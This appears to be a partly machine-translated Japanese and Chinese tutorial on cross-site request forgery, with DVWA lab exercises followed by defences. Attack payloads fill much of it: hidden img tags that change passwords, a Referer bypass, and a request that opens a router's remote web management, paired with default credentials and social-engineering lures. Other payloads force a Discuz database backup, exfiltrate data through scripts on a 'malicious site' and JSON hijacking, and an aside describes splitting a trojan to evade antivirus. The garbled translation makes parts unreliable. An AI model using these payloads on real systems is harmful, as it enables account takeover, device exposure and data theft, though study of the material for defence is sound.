CSRFクロスサイトリクエストフォージェリ
理論：
1.定義：
CsrfクロスサイトリクエストフォージェリはWebサイトの悪用です。xssクロスサイトスクリプティング攻撃との
違いは、xssはサイト上の信頼できるユーザーを使用して攻撃するのに対し、csrfは信頼できるユーザーからのリクエストを使用して攻撃者に偽造させることです。ユーザーと攻撃を開始します。
XSS：
入力検出は厳密ではないため、
jsコード
csrfの挿入：
Webサイトの悪意のある使用は
ユーザーの要求を偽造しました
2.動作原理：
1.ユーザーが信頼できるWebサイトAを参照してログインします
。2。この時点で、認証が渡され、信頼できるWebサイトAのCookieがユーザーに生成されます
。3。次に、ユーザーはログインせずに脅威のWebサイトBにアクセスします。ウェブサイトAへ
4.これを脅迫するウェブサイトBがサードパーティのウェブサイトAへのアクセスを要求すると、リクエストリクエスト
5を送信します。次に、4のリクエストに従って、ブラウザは26で生成されたCookieを使用してAにアクセスし
ます。この時点で、Aは5のアクセス要求を認識していません。ユーザーまたは脅迫されたWebサイトBによって送信された場合、ブラウザは自動的にユーザーのCookieを取得するため、WebサイトAはユーザーの許可を使用して5要求を処理し、WebサイトBはユーザーがAのWebサイトにアクセスして操作を実行することを正常にシミュレートします。
3. csrf攻撃を完了するには、被害者は次の2つの手順を完了する必要があります。
1.信頼できるWebサイトにログインし、ローカルでCookieを生成します
。2。ログアウトせずに危険なWebサイトBにアクセスしますA
実験1（パスワード変更の場合）
进入dvwa，将安全级别设置为low
进入CSEF测试页面
输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#
此时构造攻击页面：
<img src=” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98#
” border=”0” style=”display:none;” >
<h1>404<h1>
<h2>file not found<h2>
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/csrf.html
192.168.1.10是第三方服务器的地址
当用户点击该链时，密码被修改。
実験2（パスワードを変更する場合）
进入dvwa，将安全级别设置为low
进入CSEF测试页面
输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#
查看代码，发现服务器端使用stripos()函数判断变量HTTP——referrer中的referer参数值，表示来源地址，是否包含server_name(http头的host参数即访问的主机名)
通过这种方法来防御csrf攻击
此时构造攻击页面SERVER_NAME.html
<img src =” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98# ” border =” 0” style =”显示：无；” >
<h1>404<h1>
<h2>file not found<h2>
其中server_name为dvwa平台的IP地址
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/server_name.html
192.168.1.10是第三方服务器的地址\server_name是dvwa的ip地址
当用户点击该链时，密码被修改。
実験3（パスワードを変更する場合）
接用 burp 抓包把http://127.168.1.55:8080/dvwa/vulnerabilities/csrf/加入到 referer
里面，点击转发数据包，发现密码修改成功
也就是说，在构造攻击代码的时候，要将攻击代码修改成refer为站点refer的，之后再结合其他手法进行嵌入
修改密码案例防御. CSRF 直接判断旧密码是否正确了,这样在不知用户原有密码的情况下，不管是否存在 CSRF， 你都是无效的。
実験4：ローカルネットワーク機器へのcsrf攻撃：
一般情况下，外网不可以访问，交换机等硬件也是，如果想访问内网设备，应该怎么办呢，注意，内网设备很多是默认密码的
首先，模拟正常用户身份登录，进入到路由器中开启web管理端口，再用burp抓包，抓取得到地址
<img
src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=
%B1%A3+%B4%E6>
将这个攻击代码插入到想插入的地方，欺骗对方企业访问这个地址，访问之后对方设备的远程web管理端口就打开了
这段攻击代码三个功能，先开启80端口，把远程web管理IP地址改成255.255.255.255，保存
注意在登录状态，被攻击者访问了带有 CSRF 攻击代码的网页时，就“被迫”开启了“远
程 WEB 管理”功能
使用 GET 方式发起的 CSRF 攻击,通过社工等手法让被攻击者访问恶意站点的 CSRF 文件。
FAST 无线宽带路由器的 WEB 管理的默认用户名与密码：admin。
実験5：ブラウザケースは必要ありません：
将攻击代码嵌入到自解压选项中
补充
在做免杀的时候也可以使用这个功能做自解压木马干掉杀毒软件
可以把一个木马进行拆分
先把注册表导入形式拆分
内存部分再拆分
启动项拆分导入形式
最后加一个自动.exe形式
実験6（在庫削減のクイックケース）
dscuz中注册一个普通用户
模拟用户发帖
在帖子里 添加一个网络图片
http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&app id=0&backupdir=xxxx%26backupfilename%3Daaaa
当管理员访问此贴时，只看到一张未正常显示的图片
网页加载图片的 URL就是管理员在数据备份时所访问的 URL 用管理员账号登录查看消息（在管理模式下） 他的数据库就被备份了
攻击者直接在默认路径下载备份好的数据库就可以了
CSRFワームモデル
同域内 CSRF 攻击获取数据几乎没任何限制
跨域 CSRF 攻击获取数据的几种方法总结如下
1、XSS
使用目标站点上的 XSS 漏洞
> <iframe width=0 height=0 src=‘http://目标站点/search.php?k=“><script
> src=http://恶意站点/get.js></script>’></iframe>
http://恶意站点/get.js 的代码是：
//use DOM method to get your data
new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata;
恶意站点的 do.php 文件接收唯一标识等数据。该唯一标识可以是 url 中的或是目标站点
url 对应的内容中的。
2、服务端代理技术
3、JSON Hijacing
使用 JSON Hijacking 技术：
目标站点使用了 JSON 数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
< script > function hijack（o）{ //使用DOM方法获取数据 新Image（）。src =“ http://192.168.1.2/JSONHiJack.asp?hi=” + escape（data）; } </ script > <script src = http：//api.fanfou.com/private_messages/inbox.json？callback = hijack＆count = 2> </ script >
4、Flash AsctionScript（crossdomain.xml）
使用 Flash ActionScript 脚本
目标站点下必须存在 crossdomain.xml 文件,crossdomain.xml 中的配置允许其他域的 AS
脚本进行跨域请求
万用符*
要获取的关键数据是唯一标识
用户 id、用户昵称、用户 email、用户个人页面地址等
csrf防止
サーバー側の防御：
- HTTPリファラーフィールドの確認
HTTPプロトコルによると、HTTPヘッダーには、HTTPリクエストの送信元
アドレスを記録するRefererというフィールドがあります。通常の状況では、安全な制限付きページへのアクセス要求は同じWebサイトから行う必要があります
たとえば、銀行振込は、ユーザーがhttp：//bank.test/test？page = 10＆userID = 101＆money = 10000ページにアクセスすることで完了します。ユーザーは、最初にbank.testにログインしてから、のボタンをクリックする必要があります。転送イベントをトリガーするページ。
ユーザーがリクエストを送信すると、転送リクエストのリファラー値は、転送ボタンが配置されているページのURLになります（この例では、通常、bank。testドメイン名で始まるアドレスです）。
攻撃者が銀行のWebサイトにCSRF攻撃を実装したい場合、攻撃者は自分のWebサイトでのみリクエストを作成できます。ユーザーが攻撃者のWebサイトを介して銀行にリクエストを送信すると、リクエストのリファラーは攻撃者のWebサイトを指します。したがって、CSRF攻撃を防ぐために、銀行のWebサイトは、転送要求ごとにリファラー値を確認するだけで済みます。bank.testで始まるドメイン名の場合、要求は銀行のWebサイト自体からのものであり、正当なものであることを意味します。リファラーが別のWebサイトである場合、それはCSRF攻撃である可能性があり、要求は拒否されます。
2.トークンをリクエストアドレスに追加し
、攻撃者がユーザーのリクエストを偽造できるため、CSRF攻撃が成功することを確認します。リクエスト内のすべてのユーザー認証情報はCookieに含まれているため、攻撃者はこれらの確認に気付かない可能性があります。情報の場合は、ユーザー自身のCookieを直接使用してセキュリティ検証に合格します。
CSRF攻撃に抵抗するための鍵は、攻撃者が偽造できない情報をリクエストに含めることであり、その情報はCookieに存在しないことがわかります。これを考慮して、システム開発者は、HTTPリクエストにパラメータの形式でランダムに生成されたトークンを追加し、サーバー側にインターセプターを確立してトークンを検証できます。リクエストまたはのコンテンツにトークンがない場合トークンが正しくない場合、CSRFが攻撃され、リクエストを拒否したと見なされる可能性があります。
- HTTPヘッダーの
カスタムプロパティをカスタマイズして検証する方法も、トークンを使用して検証することです。前の方法との違いは、トークンをパラメーターとしてHTTPリクエストに配置する代わりに、HTTPリクエストに配置することです。 HTTPヘッダーのカスタム属性に配置します。
XMLHttpRequestクラスを介して、HTTPヘッダー属性csrftokenをこのタイプのすべてのリクエストに一度に追加し、トークン値をその中に入れることができます。これは、リクエストトークンの不便に同時に参加する方法で以前に解決されました。このクラスを介して、リクエストされたアドレスはブラウザのアドレスバーに記録されません
。リファラー4を介して他のサイトにトークンが漏洩する心配はありません。サーバー側厳密に区別します。 POSTとGETのデータリクエスト間。たとえば
、リクエストを使用してaspでデータを直接取得しないでください。同時に、http：//www.yeeyan.com/space/deleteEvent/16824などの永続的な操作を実行するためにGETリクエストを使用しないことをお勧めします。
5.確認コードまたはパスワードを使用して、
この方法が非常に効果的であることを確認しますが、ユーザーエクスペリエンスは低下します。
たとえば、パスワードを変更するには、確認コードまたは元のパスワードを入力する必要があります
ユーザー側の防御
通常のユーザーがネットワーク攻撃から身を守るためにネットワークセキュリティの知識を学び、所有することは非現実的です。ただし、ユーザーが適切なサーフィン習慣を身に付ければ、CSRF攻撃の害を大幅に減らすことができます。
最も重要で最も重要なユーザーであるシステム管理者は、システムからログアウトするときに、不明なリンクや画像をクリックしてみてください。さらに、ユーザーはインターネットに接続されたコンピューターに適切なセキュリティ保護ソフトウェアをインストールし、セキュリティソフトウェアが最新の攻撃をリアルタイムで追跡できるように、ソフトウェアメーカーがリリースした署名データベースを更新する必要があります。
セキュリティ機器の防御
脆弱性の発見からパッチのリリースまでに一定の時間がかかり、かなりの割合のベンダーが脆弱性に積極的に対応しておらず、一部のシステム管理者はシステムパッチに十分な注意を払っていないため、攻撃者に機会を与えます。上記のさまざまな状況を考慮して、ユーザーはサードパーティのプロのセキュリティ機器を使用して、CSRFの脆弱性に対する防御を強化できます。
CSRF攻撃の本質は、攻撃者がシステムにアクセスするための法的IDを偽造したことです。訪問者の
偽造されたIDを特定できれば、CSRF攻撃も特定できます。一部のベンダーのセキュリティ製品は、ハードウェアレベルに基づいて
HTTPヘッダーの[リファラー]フィールドの内容を確認することで、CSRF攻撃を迅速かつ正確に特定できることが調査でわかっています。現在、H3CのIPS製品は、特殊なテクノロジーを使用して、一般的に使用される一部のシステムでのCSRF脆弱性攻撃の検出とブロックをサポートしています。
防御方法
は、最初にネットワークトラフィックを署名データベースの署名と照合することです。
ヒット特性
攻撃ログを報告する
ヒット機能なし、
トラフィックリリース